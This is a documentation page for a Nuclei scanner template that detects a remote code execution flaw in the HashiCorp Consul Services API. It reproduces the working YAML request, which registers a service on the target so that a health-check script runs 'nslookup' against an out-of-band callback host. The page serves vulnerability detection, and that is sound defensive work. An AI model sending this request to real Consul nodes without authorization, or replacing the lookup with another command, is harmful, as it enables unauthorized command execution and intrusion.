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Hashicorp Consul Services API - Remote Code Execution

ID: hashicorp-consul-rce

Severity: critical

Author: pikpikcu

Tags: hashicorp,rce,oast,intrusive,edb

Description

Section titled “Description”

Hashicorp Consul Services API is vulnerable to an attack that can be leveraged to perform remote command execution on Consul nodes.

YAML Source

Section titled “YAML Source”
id: hashicorp-consul-rce


info:
  name: Hashicorp Consul Services API - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Hashicorp Consul Services API is vulnerable to an attack that can be leveraged to perform remote command execution on Consul nodes.
  reference:
    - https://www.exploit-db.com/exploits/46074
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: hashicorp,rce,oast,intrusive,edb


http:
  - raw:
      - | # Create USER
        PUT /v1/agent/service/register HTTP/1.1
        Host: {{Hostname}}


        {
          "ID": "{{randstr}}",
          "Name": "{{randstr}}",
          "Address": "127.0.0.1",
          "Port": 80,
          "check": {
            "script": "nslookup {{interactsh-url}}",
            "interval": "10s",
            "Timeout": "86400s"
          }
        }


    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
# digest: 4b0a00483046022100addac7e5cfa5f50ccc115c3f34703b1c61f9d5138bb5772f444c695e81296d74022100d40e3e2ae93d966358b93273ad41bc446a03e5db879a76a2ef50a52fd67550e4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/hashicorp-consul-rce.yaml"

View on Github